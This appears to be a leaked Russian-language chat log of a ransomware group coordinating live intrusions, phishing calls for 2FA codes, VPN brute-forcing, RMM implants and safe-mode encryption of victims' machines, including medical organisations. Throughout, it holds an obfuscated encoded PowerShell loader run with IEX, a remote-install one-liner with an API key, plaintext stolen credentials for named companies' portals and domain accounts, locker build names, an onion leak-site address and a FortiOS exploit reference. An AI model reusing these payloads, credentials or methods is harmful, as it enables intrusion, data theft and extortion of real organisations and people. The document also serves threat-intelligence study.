++

я обзваниваю пока

хочу пока результ

Что успел сделать ? Вижу что сетка ушла в офф.

или понять какие действия привели к этому

приходия чай пись обсудим

я тут

делаю кое что

скоро поговорим

я не делал шуму

все чисто

серты запросил

все было четко

хотел уже сделать

но не успел сокс отпал

да

все может быть

я хз

серты вообще не паляться

это не кербы снять

после получения самого серта

я уже не смог получить хешь

умер сразу же

Crowd - мог отрегировать

ты когда звонишь подмену номера делаешь ?

например звонишь им с самого главного номера

работает

тут ?

а у нас может быть реализован сокс бот в виде pw

команды

```

скрины

`powershell -nop -w hidden -encodedcommand JABzAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtACgALABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACIASAA0AHMASQBBAEEAQQBBAEEAQQBBAEEALwA2ADEAWABhAFcALwBpAFMAaABiADkAbgBQAHcASwBmADQAZwBFAEsASQBSAG0AVAAvAEoARwBrAFoANwBCAEMANQBzAE4AMgBDAHoAQgBlAFYASABrAHAAWQBEAEMANQBhADEAYwBaAG4AdgBUAC8AMwAyAHUARABTAFQAcAA2AGYAUgBNAFMAegBPAFIAawBLAHYAcwB1ADUAdwA2AGQANgBrAGIASABiAEUANwBuAFYARgBzAE0AeQBWAHcARQBIAGMAMwBRAHoAVABHAGcAYwA5AFYAcgA2ACsAWABpAFcAKwB6AGQASgAwAHUAMwBsAGEASQB2AFkAVQAwAHMATgA5AE0AeAA2AEUAbwBqAHIAbQAvAHIANgA5AEcASgBqAFUAOQBMAG4AKwB6AE4AZQBtAGIARgB6AGcASgBRAFUAVQB1ADIANgBTAEMAeQBFAGsAbwBLAGwAeABkAFgAVgA5AGwAcgB4AEkALwBOAHAAZgBvAHoAVABjAFoAMwBxAEkAMwBEADcARgAxADQATQBUAGMARQA1AGQALwA0AGMATgBRAEMARAB3AFQAKwA2ADkALwAvAE4ARgBPAEsARQBVACsATwArADEATABNAG0ASgA4AEgAQwBQAFAASQBoAGoARgArAFEATAAzAFQAMgA2ACsAUgBoAFQAZABEAGEAMABOAHMAaABuADMATgAzAGYAegBWAHAASgBKAFkASgBuAGsATABIAFoAbwBtAC8AWQBhAFQAcwBIADcAVAB2AHAAdABFAE4AaABtAGUAbwBLAFMASABoAEwATQA4AHIAbQAvAC8AcwBvAFYAWAB1ADQAcQByAHkAVQB4AFMAawB3AFMANQAzAFAANgBJAFcAYgBJAEsAegBtAEUANQBBAHIAYwA5ADAATABxAGMASABJAEkAVQBUADYAbgBZAEoAcwBHAGMAYgBCAGsAcABUAG4AMgBhADkAWABTAE4ARQBPAHYAWgB1AEMAVgBFAC8AWgBjADQAWAB5AHkAVgBXAGoAQwBPAFgANQA5AHkATgBUAHEAUwBTAGUAZgBnACsAVQBJAHUATwBGAFAASABPAGEASwAzAEUAdgBxADcAKwBYADEAbABmAHYAegBIAFkAMgBXACsAQQB4ADcAcQBOAFQAMQBHAGEASgBCAHEAQwBPADYAeABUAGEASwBTAHgAMwBUAGQAdwBqAFMAMABCAEwAVQBjAGoASABFAHoARgAvAGwAQwBnAEMAQwBJAHAAWgBRAG4ANwB0AGcAQQBiADEAdAA0AEsATAA4AGoAWgA4AFEAVQBnAFMANwBMADcAOQByADkAegBXAHYAbwB0ADIARgAzAE4AOQBWAHkAbgA5AFcAQQBxAGsAUgBvADQAWABpAE8AUwBkACsAaAB3ADQAbAB5ADUAdQBUAE8AVABqAE8AVAArAGcALwBKAFYAYwBCAC8AbgA1AEsAcwBNAEwAMQA5ADYAOQBTADEAVQBFAEUAcgBVAHkARwAzAGgAagB3ACsAeQBsAFgAcgA2ACsAdQBYAHIASQBsAGcAdgBQAGsAUgAwAEcATQBNADcAMABuAHIAbAB6AGsARgBBAEIAaABzAG8AQQBlADAAbgBCAE8AYQBJAEkASwByAHgALwB4AE8AYgBtADkAYQBNAGIARgBYAHgAcQBxAFgATABUAE8ATwBxAGYAdwBuAEgAQQA4AGMAUwArAHoAQQBEAHUAdgAxADEAZQBGADYAMwBQADIAcABPAC8AZgByAEEAUQBUAEIAOQBIADAAKwA2ACsAcgBRAFUAQgBMADcAQwBQAGgANABKAHMAZQB0AGkAOABKAG4ALwA4AHEAWgBtAGgASgBVAE0AWgBIADYAUwBLAG0AQQBzADUAOAA3AHYAdwBCAE8AYwBLAFoAbgBWAHgASwA2AE0AdgBQAGEAcQBLAEgAMgBiAHQAdQA2AHcAUwBPAHQAeQBIAHUATQBhAEMAQwBsAEMAagA4AEMATwBZAFUAdwAzAHkAdQA2AHkAdgBJAEEALwA1AE8AZQAwAGoAVABtAHkAVwBVAEcAYgBwAEkAbgAwAHYAcgBjAFAARwBlADcAdABOAGMAYgBoAE0AegBqAG8AdgBjAEsASQBFADYAdAA0AHUAYwBqAGsAeQBDAG4AQwBMAEgAKwB6AEUAKwBmACsASQBUAEYAbQBUAEwAMwBBAGQAYwBKAFMARQBNADIAMgBiAE0ATAB1AFoAZQBDADEAOQBRAGUAbgBiAGQARABuAHkAbwBtAE0AUwBHADYAQQBJAE4ARQB6ADEARQBOAGoAWgBKAHkAawBxAFIANgAyAEEASAB0AFEANAA2AFgAbAAwAGcANQBMADcAawBwAEcAMABTAEEAaQBVAEgAbAByAFkAUQBFADMAaQBUAGMAcQBHAHoATgBHAGUAbwBVAC8AegAzAC8AQwBpAFUAZABNAFMANgBYAGsAaQBRAEIAOQBKAFoARgA1AEsASQB1AFkASwBlAGMANgA2AG8ATABOADMATQBGAFgASgB5AC8AdwBIADIAcABVADUATwBSAFoARgB5AGQAUwBIAHAARQAyAGgASQBBAEoAMABFAHIATQBqAE4ATQBHAFgAUQAxADMATABGAG4AeABMAHYAZgA0AFAAMwBZADQAdgA1AEEAVwBhAGIAbwBuAE0AZwA4ADEAawBoAGQAcABmAFEAMABFADkAZABBAE4AaQBKADgAUgBHAGEATQBZAHEANABoADAASgBhAGcAaQArAHQAQQAwAHQAcgA2AFcAYgA3AFoAcQBlAFgAegBkAE0ANwB6AFIAbQBwAGwASQBHAEsAUgBBAE8AdgBaAGMAYQBvAFcAZABlAHoARABwAGYAUAAxAGEAcgBKAGEAdgA4ADQARwBqAFEAUAB5AHEAWgBiADcAUgAwAFcAdgByAHEAMwAvAFIAawBWAHQANQBKAHMATgB0AGYANwBjAFQAVQBKADcAQQBtAGoAVQBVAGMAVQBZAEsALwBaADEAVABnAG0ATQBnAG0AdAA5AFMAQQB5ADkANABQAE4AWgB2AC8AWQBmAGoANgBJAEkANwA0ADYAdwBFADMAYwB3AE4AMQBrADAARAByADYARQByAFkAOQAwAEIAcwBQAGcANABYADIAUwBMAHQAYgBWAFEAcABJAGYATgA5AHYAUwAvAE8AcABpAFQAZABSADUAaQB2AHgANgBoAFYASABOAEEAKwBEAG8AOQAxAGMAMAAyAEUAVgBCAFkAdQBkAEcAbgBXADMASQA5ADYAWgBiACsAMgBtADEAdwArAGsASgBnAFAAZABXAFMASQBtAEkAUgBXAFQANABXAGkAUgBEAEsASwBCADEAOABYADEAOQBWAGEAWQBzAGQANgAyAEsAegA5ADAAKwB0AFcARgArAFUAQwBzAGUANQBUAHAATwAxAEgAcQBhAHgARwB0AHQAbQBhADYAUAB6ADYAbQBlAHgAeQAxAEUAVQAzADkATABJAEIANwBWAEsAcwAwADAAYgB4ADMAdgAvAEIARABqAE8AYgBKADYAcgBoAFQAcwBlADAAYwBCAFYAVAB0AHcAZgBzAGsAVQBPAHcAdwByAHEAbABIAGUAKwBtADYARwB6AE8AcwBUAEgAVwAzADAAcAA5AE0AagBXAGYAZwBwAG0ASgBHAFYATABLAGEAVgBGACsARQBaAEQAdgBqAHAAMgA1AHQAWgBOAEEATQAyADEAWQBDAGoARwBxAEsARQA5AHYAVgAzAG4ARQBSAHUAbwBZAHoAaQA4AFQAYQB5AE8AcgBIAGIAVABoAHIAagBkAEEAbwA2AFcARwB2AHMAYwBMAGQAdwAxAG4ATwA2AHgAMQAwAHYAUQBYAFAAdgB1AEgAMABvADQAZQBHAGMANgB3AGUAcABMAEIAdQBOAGkAawBHAFgAdgBmAGcANgB6ADcAbAAyAEoANwBHAEcAeABFAE4AZgBmAHQAWgB3AHAANgA5AHIAZwByAGEAeABuADcAMABrAHEAZwBCADIATwBzAGQAdABkAGQALwAzAHQATwBJADkAWQAxAFIANgBxAGYAcwBiAHYAUwBtAE0AZwBZAGYAVQBSAFMAcgBHAEgAcgBIAEIAdABiAFkAbQB4AGwAawBhAHoANQBuAGUAbQBYADQAMwBjADYAcABXADMAOAA4ADIAagBWADEAbgAyAEwAWgAyAC8ATwArAEkAZQBEAHAALwBWAHcAOQBWAHMATgBFAGkAVQBOAGEAVAAzAEgAUwAyAG4AQQBYAGgAOAAwAEgAVwBJACsANgByAGsASQA3AFgAYQB4AHMARABzADAATwA2AE8AMgBVAGkAVwB1AE0AcAAyAEoAUAAxAEEAaQB2AFcASwA2AGoANgBuAHUAMQBiAFkAagB1AFQASwA2AE8ASgArAE8AMgAyAGwAbgBMADAALwBFAG0AVQBPADAAUgBHADcAYwA4ADEAdQBxAGkAbgBSAFcAMQBiAC8AdQBWAFgAYgAxAGoAVwBJAEgAVgBXACsAMgBIAHcAMABWAEQALwBMAGEAOABqAFYAegBOAGoAOQBxAGIANwBiAFkANQBEAGgAdAB5AFYAUABFAGUAUgBLAHYAcwA2AFMAMgB6AEUAVABWAG4AOQA4AEEANwBQAHgAYQBOAHkAVwB6AHYAQwB1ADMAeAByAGoAZgBBAEIASQAvAEYAbABqAHkAdAAyAEUATwByADMARgBNADEAeQBXAGgAcgA0AHMATABnAHkANABZAHEAKwBNAFoATwBnAEsAYwBzAGQAWgBHADQASwA4ADgALwB5AHgAcAB1AGgAWgArAEkARABzAFIAeQBEAEwASwBhAG8AUgBOAGwAeABKAGMAZABXAFoAcwArAHQAbQBmAGwAUgBkAEsAZgB0ADUAVABKAHQAQwBLAFAASgBaAEEAUgB5AHkARABUAEcAawAyAGsAbABnAHcAMgA3AGcAWABmAGsAYQBlAFMAYgBmAEEAMQBiAFQAQwByAEcAcgBYAHgAZABQAEcAcwBUAFMAdAAwAFQARgBoAFYAeAB2AFgAUQBJAGUAQgBqADMATQBDAGEAYQBLAGcAcABUAHMAdgBkAEcANwByADcATwBCAHEAdgBkAG4ATgBCAFUANABSADIAVABRAE8ALwBqAGoASwBUAGUATQBGADYAdABnAFYAeAByAGEAagBpAGYAaQBVADQAWQBxAGgASwBtAHIAMwBnAEsALwBGAE0AZwByADEARwBwAFAAYgBjAGwAUwBTADkAdgBGAGoAdwBOAFUAZgBUAFgAVQBlAGUAegBHAHgARgA0AHMAcwBUAG0AVgBlADEAbQBlAGIAcQA0AHEAbwA4AGEAYQAvAFUAawBlADYAdQBaAGIANgBxAHkAVwBNAHcATgBzAEQAdQBwAGwAOQA3ADYASQAyAHAATQBEAFEAOQA0ADkAbgBiAHgAWgBzAGsASgBGAFoAVQArADIAYgBLAFYARwBXAE0AeABpADMAMgBxAEQAcgBpAG8AQgBKAGEALwBrAFAAYwBGADYAZQByAGcALwBSAHQASQBhAGoANgBiAFcAQgBOAFUASABOAHYAMQBjAEsAMQByAGoAVQA5AFEAcgBWAHkAYgA3ADkAWQAzADAANABpAFUAKwA1AGoAOQBDAEQAMQA3AEoAawBUAE4AYgA3AGQANwBqAHAATAByAFgARwBNAGgAZgByAGMANgBwAFUAaABwADMAeABuAE8ARgA4ADkAcAB6AGsAVgA2ADgAMwBRAGgAWABwAFcATgBvAHMAdwAzAGkAaQBIADkAQgBsAEMAMwBxAFYAUABjAHIAKwB1AEMAWABKAGEASgAzAEcAbgB0AFkAUABjAEYAdQBHAG4AdwA2ACsAUgB5AHYASQBnAEEAMwBsAHUAUQByADMAcwBtAFUAbABiAHEAVgB3AHcAdABJAFUAdwBVAFoALwBKAGQAQgA3ADAANQBCAGoAWAArADkAWgBtAHQAdABYAHUAVQBZADMAUgBIAHUAUQBmADUATwBXAHgAcgBqAEMANwB4AG8ANgAyAHUAQgA1AFAAQgBLADAANwBoAGwAagByAGsAcgBZAEEATABvAE8ATgBnAFcAawBmAHIANQA2AGUAcwBzAGEANgBEAEMAagBNAFMAcwBkAGoATwBvAEQAOABnADAAcwBYAGQANABSAHgANQB3AFkASgBiAFIARwBhAGMAZgBiADYAOQBqAGIAcgBvAEYAZgBuAEwAeQAvAHcANgBqAFUAYgBPAGoAOQB0ADcANgB3ADkAVwBLAHMAMQByAHEAKwArAFgANABhAEwAcgBmAG0AcAB5AGYANQBxAGwARgBOAE0ARwBxADkATgBBAHMAMABYAHgAcgBIAEwAWgBTAG8ARgBWAEQAbwBQAFYAYQBNAEEAcAB4AHIANQAvAE4AZgAvAEIANwBpAEkAKwBvAGoAQQBqAEEAeABUADkATwBVAEsANABnAGsASgA3AEgAUQBNAC8ATQBVADgAOQB1AGYANwBKAFEARgBYADcAUgBTAFcAdABlAHEAWABxADgATABIAGIAVgBJAG8AWABPADUASgBLADEAawB1AHMAMQBuAHAAZgBNAFQATAB5AFAAaAB4ADcAeABoAHcAdgB1AEkANwBpAHcAUABrAHIAOQBpADYAeQBKAFgAMwB0AFgASwA1AG4ARAA3AHIAWgBiAEQAMQArADcAUwAwAGcALwBDAFEAUAAxAHMAcgBwAG8AUABpAEoAeABnAGYAYgBrAGoAbQA1AG4AMgB1AG8ANABuAHYAbwBmADgAagArAHoALwA0AC8ATwArADgAcABzAHgAbABvACsAWQBIAGIAeABtAGkAcgA4AGwASwA3ACsANQAvAEEAZAA3AGEAUQBRAHMASwBEAGcAQQBBACIAKQApADsASQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABJAE8ALgBTAHQAcgBlAGEAbQBSAGUAYQBkAGUAcgAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABJAE8ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ALgBHAHoAaQBwAFMAdAByAGUAYQBtACgAJABzACwAWwBJAE8ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ATQBvAGQAZQBdADoAOgBEAGUAYwBvAG0AcAByAGUAcwBzACkAKQApAC4AUgBlAGEAZABUAG8ARQBuAGQAKAApADsACgA=`

в таком ввиде

что бы просто вставил в cmd или pw и все

сокс стучит

ну слишком

проще надо

без имен и сумм

исправь

image.png

image.png

image.png

Hello!

+++

вот это хорошо

image.png

image.png

socks перестал работать, даже креды не успел проверить

что то у вас там сломалось

сервер может поменять от сокс бота ?

палится уже

что то не так

брат

вообще надо на майкрософте в azure его сделать

это кто

image.png

www.hain.com

да

а как ты 2фа получишь

код действует минуту

есть впна от них

есть 2фа от них своя уже

можно залетать

шустро

как ?

без звонка

просто отпраивли фейк ?

ладно посмотрим что выйдет

но я не до поздна сейчас

ну это изи катка

во сколько ?

через 1-2 часа можем начать крутить

там все готово

надо ждать когда он уйдет

иди пока отдыхай

```

хорошо

ночью он может тачку выключить

ну если что его тачка не нужна

главное что бы впнки креды были рабочи и был ip куда конектить

незачем

завтра нужно договориться во сколько сбор

на медиков

у нас только они на завтра ?

там какие вреды от впнки ?

юзерка ?

какау? у кого ?

ты поставил выкачку по медикам ?

> <@nickolas:talks.icu> там креды одни и для винды, и для почты и для впн

фортик

> <@nickolas:talks.icu> Ну ты еще не понял как работает ССО и для чего оно в больших корпах

я Okta чекал

хорошо

посмотрим

понял

++

ну а где иконца форти

на главном скрине

я не вижу

> <@nickolas:talks.icu> sent an image.

это разные достпуы ?

imag123123e.png

аа

ок

ща

hain.com - это херь очень хорошо должна заплатить

у нас были подобные ребята

++

++

```

image.png

image.png

image.png

Тут локальный админ

))

чего ?

он ушел ?

> <@usernamess:matrix.bestflowers247.online> и фтп и вебдав

сейчас

___

https://cag.caeuk.com/logon/LogonPoint/tmindex.html:miller.james:Spring2024!

тут 2фа надо самим поставить

_____

знаешь как через cmd открыть PowerShell ?

`$env:LEVEL_API_KEY = "h8iiWUeJLyUz8S9hrauaaJcH"; Set-ExecutionPolicy RemoteSigned -Scope Process -Force; [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; iwr -useb https://downloads.level.io/install_windows.ps1 | iex`

мой rmm туда добавь еще

аваст и сентик

из-за чего ?

я ничего не сделал

да

упала тачка

хуйня какая то

хуйня какая то

что то сломалось там

100%

палится что то

++

```

дальше

сокса нету

195.123.233.55

увидел

скрины

image.png

image.png

> <@usernameyy:matrix.bestflowers247.online> либо пинг, либо всё остальное, взаимоисключающие софты

тут Сетки летят

```

скрины

image.png

image.png

почему стоп ?

> <@nickolas:talks.icu> ```

успел уйти куда то ?

проверь

срочно

я тебе говорю

что то не то происходит

как ты поднимаешь сокс ?

как только трафик начинает идти по соксу ав его могут рубить

вот может быть в чем проблема

EDR

av и edr тоже видят

боты живые ?

у тебя есть rmm

смотри

объясню

мы всегда понимаем соксы

он приходит

ты даже куда то подключается

но как только чуть больше обычного идет нагрузка

сокс отваливается

Hi, Sue, it's Charles from IT security here. And really, from Security, I know that there's a lot going on right now, but we quarantined your device following an incident earlier today. So your laptop is currently disconnected from all of Haynes services. And I believe based on the telemetry, I'm seeing that you've switched over to your cell phone. And I was just looking to get a little information from you to clarify and make sure that that's correct. Feel free to reach out to me on teams. You can also contact my direct manager, Doug Staubach. Reach out to anybody you need to verify that I'm real and once you're comfortable let me know. I just need to get some info from your phone so that I can make sure that you really have switched to your phone and that your account has not been compromised. But thank you so much. Much appreciated and hopefully I'll talk to you soon. Bye.

дело не в нагрузке на сокс даже а дело в чем то другом

вот переписка их Haynes

ISP / SIEM внтури могут такое видеть

Они мониторят ISP / SIEM, видят, что начались походы на DC, и начинается движуха, возможно в это я думаю. ни AV ни EDR не видят трафика сокса.

нормлаьный ревеню

соксы почему откисают блять

может мои поднимать

ты rmm же сейчас тавишь вначале

проблема в том, что тачку изолируют

> <@nickolas:talks.icu> рмм ставится где только есть локальный админ

ПОДНЯЛСЯ СОКС!

> <@nickolas:talks.icu> ты про левел.ио ?

savageco.com

> <@nickolas:talks.icu> ЗДЕСЬ ПОДНЯЛСЯ

рабоетат ?

* работает ?

да, подключается

++

++

ок

> <@nickolas:talks.icu> Они мониторят ИПС \ СИЕМ, видят, что начались походы на дц, и начинается движуха

доброе

я увидел да

ласт просит прямо линк на фаил который ставить

я найти не могу

сейчас медиков ставят

там админы спалили ?

++

хорошо

думаешь из-за чего они спалили ?

ты хочешь сейчас дотянуть юзерские и с них езе доставим выкачку ?

> <@usernameyy:matrix.bestflowers247.online> окончательный вариант?

> <@usernameyy:matrix.bestflowers247.online> могу так сделать, но паверпик же лучше не?

++

тут с мордой дела

брут

там не можем набрутить

из-за того что они добавили в форме галочку

++

Снимок экрана 2024-05-08 в 11.30.20.png

сейчас

```

скажу когда заходить

смотри

заходи я открыл

++

мы устали немного искать и брутить доступы

решили без витуализации

там поверх сделать все

слишком она гиганская

выключили соксы

и все

компании топ вчера было

ты пиши я чуть позже отвечу

сетку лочим

есть кто ?

тут ?

4a104d1cfb230ed8fadc3a0bc40eff8ae150691fc0f915bc386232ab790f5ef1

++

PULSE_VALID.txt

FORTI_VALID.txt

CISCO_VALID_ITEMS.txt

AUTH_VALID.txt

VALID_BRUT_CISCO.txt

PALO_VALID.txt

SOPHOS_VALID.txt

SONIC_VALID.txt

OKTA_VALID.txt

WG_VALID.txt

VALID_BRUT_RDWEB.txt

VALID_BRUT_SONIC.txt

давай локер криптанем

надо билды сделать с сейф модом

супер

сейчас скику

* сейчас скину

Enable safe mode?

у BB4

работает норм ?

проверь плз

я сбилжу и отдам на крипт

ed79b241-a7dd-4890-b32d-84e515772cdf_encrypt_release_allsystem_x64_safe.ex

ed79b241-a7dd-4890-b32d-84e515772cdf_encrypt_release_allsystem_x64_safe.dll

два файла локера

ехе и dll

сделай как вчера

хорошо отработал на силансе

кошель надо еще твой

58db4fbe84b81a8b2cbef54fb2cd2e6d714d4892cabdac24d8d2d2c5aee61850

++

Ты на тачках видишь залоченые файлы ?

++

качается еще

не топаем

* не стопаем

ща скажу

cr.zip

без префикса _1 вчерашний вариант, с _1 - новый

++

1,2Tb

локнули креды

надо еще креды для просыла

какие все читают

make_token DS\dlollar-ea aXkS83H(EhPT

эти уебали нам

как заупскать ехе и dll

сейф ?

там аргумент надо какой то ?

по все

глобал надо

ww напишет сейчас

как проверить что тачка в сейф моде лочится ?

что именно она в этот ммомент в локе в сейф моде

ее можно прочитать ?

нет

не читает

тачка просто обычная

где запустили

уже прошло норм времени

не вернулась еще

она вернется ?

Снимок экрана 2024-05-08 в 13.32.00.png

ANDC2WCRS0002.DS.SJHS.COM 10.240.47.77 Windows Server 2019 Standard

WIGLEWCPA4544.DS.SJHS.COM 10.232.87.229 Windows Server 2019 Standard

Снимок экрана 2024-05-08 в 13.37.25.png

отдавай

не набрутилось

> <@nickolas:talks.icu> У меня за вчера где то 15 таргетов, все +- ярд, все жило какое то время, и везде по итогу выпил.

я не все видел 15шт

ок

проверь

добавил

тор тормозит блин

все ок у тебя

проврь

Снимок экрана 2024-05-08 в 13.37.25.png

WIGLEWCPA4544.DS.SJHS.COM 10.232.87.229 Windows Server 2019 Standard

вернулась тачка по которой я сам лично запускал

ничего тут не залочилось

Снимок экрана 2024-05-08 в 14.54.21.png

```

тут все открыто

```

вот линк на фаил

которым лочил и команда запуска

да

уже

и симку меняй

а лучше локацию )

я потушу сегодня все

все даблы и синглы

не понял

сейф безе этого сервиса не работает ?

мы сейчас отправили 130 000 машин запустили сейчас и отправили в сейф мод

какой твой вердикт ?

я тыкнул просто на тачку из списка

и на ней не оказалось ?

> <@usernameyy:matrix.bestflowers247.online> Этот сервис есть везде как правило

ты берешь сервис и не предусмотрел что его не может быть ?

чужой сервис

у нас сейчас пиздец какие ав

силанс

мы с нимповерх ничего не залочим

нам надо сделать сейф мод как часы

что бы мы могли запускать с любым ав через сейф

id:ed79b241-a7dd-4890-b32d-84e515772cdf

хорошо

http://stniiomyjliimcgkvdszvgen3eaaoz55hreqqx6o77yvmpwt7gklffqd.onion/

блог не грузиться

от бурито обходит крипт

силонс ему не помеха

дело не в этом

сейчас будем использовать сейф мод все чаще

криптовать и запскать

сейф

ты тут ?

cr.zip

без префикса _1 вчерашний вариант, с _1 - новый

ехе

без префикса запускали

ds\skrie013-ds aXkS83H(EhPT

криптованым создался ?

какая

давай сокс

почему не залочило ?

сейчас 130 000 в сейфмоде

какой твой вердикт ?

ну вот эта же ушла

на моих глазах

дак локер криптованный

могу запутсить сейчас просто криптованный фаил и она там выебет все

хочешь ?

потом зайдешь посмотришь

я могу впску сейчас свою пожертовать свою

500kk https://external.jsg.com/logon/LogonPoint/tmindex.html :cyn.mit:Spring2024!

Windows Server 2019 USA GG

запустил на ней

да

тот же самый

ну а как

крипт не работает ?

ты же сказал что со второго раза он отработал

объясни

ed79b241-a7dd-4890-b32d-84e515772cdf_encrypt_release_allsystem_x64_safe.ex

сервси не работает а надо что бы работал в локере 2 функции входа, 1 это главная обычный запуск, 2 это запуск сервиса, я полагаю, что крипт это не учитывает и в итоге вход только один, а нужно чтобы 2 осталось

> <@burito:matrix.bestflowers247.online> sent a file.

> <@burito:matrix.bestflowers247.online> sent a file.

да ок уже тут презентовал нам ее

а тот же самый сокс ?

```

работает

не

сразу

не надо

ничего не делай

вечером типа будет готова

он просто не знает твои реальные сроки

ну да, вчера возможно быстро )

молодец

Снимок экрана 2024-05-08 в 16.23.45.png

dll сейфмод не работает

только ехе интересует меня

ок

там сокс который поднимаем это ты написал ?

на чем он написан ?

что именно не работает - я не знаю, это только предположение. Вообще вход у сервиса ServiceMain, а у обычного WinMain

> <@usernamegg:matrix.bestflowers247.online> Windows Server 2019 USA GG

да

от хана не проверял

1.7z

вот проверь от другого

криптера

эксплойт надо посмотреть тебе

может ты поймешь как через этот эксплоит правильно создать нового пользователя впн допустим?

FortiOS-2024-21762.7z

отдал мелкору на разбор

от хана

170.130.165.84

нет не обычным

криптованным

там уже все ушло в офф

мы ничего сделать не смогли

тебе что каждый раз отдавать на проврку фаил после крипта ?

от сейф мода

от тебя работает все четко

только что проверил

сейчас на еще одной проверю

> <@usernameyy:matrix.bestflowers247.online> так они возвращаются судя по тем впс что ты дал

да я понял понял ) в самых секретных )

там достпу только с CMD?

этого достаточно, не нагружай софт

Снимок экрана 2024-05-08 в 16.41.31.png

Снимок экрана 2024-05-08 в 16.42.46.png

якреплю ее сейчас

у меня есть другие креды

но ставить я ее пока не буду

отдыхать будем

у нас до 13 каникулы в пн мы выходим

у нес три сетки в закрепе сейчас

4.5b

500m

и 29B вроде если не ошибаюсь

твоя умрет ?

ничего там не делай

не шуми

ничего не умрет

там сентик стоит

сегодня я не возьму уже ничего

до пн

9 мая брат

отдыхать надо

мясо пожарить

сегодня была очень большая сеть

все уже планов настроили

кто то билеты взял кто не отсюда

как бы я не хотел но уже обещал им дать отдохнуть

выебал и высышил их за эти 7 дней без отдыха

очень устали

я сам устал

да

крплюсь

никуда она не уйдет

потуши сокс как я закончу закрпить ее

да

++

локбита раскрыли

ну думаю тебе ари уже скидывал скрины моей с ним переписки ?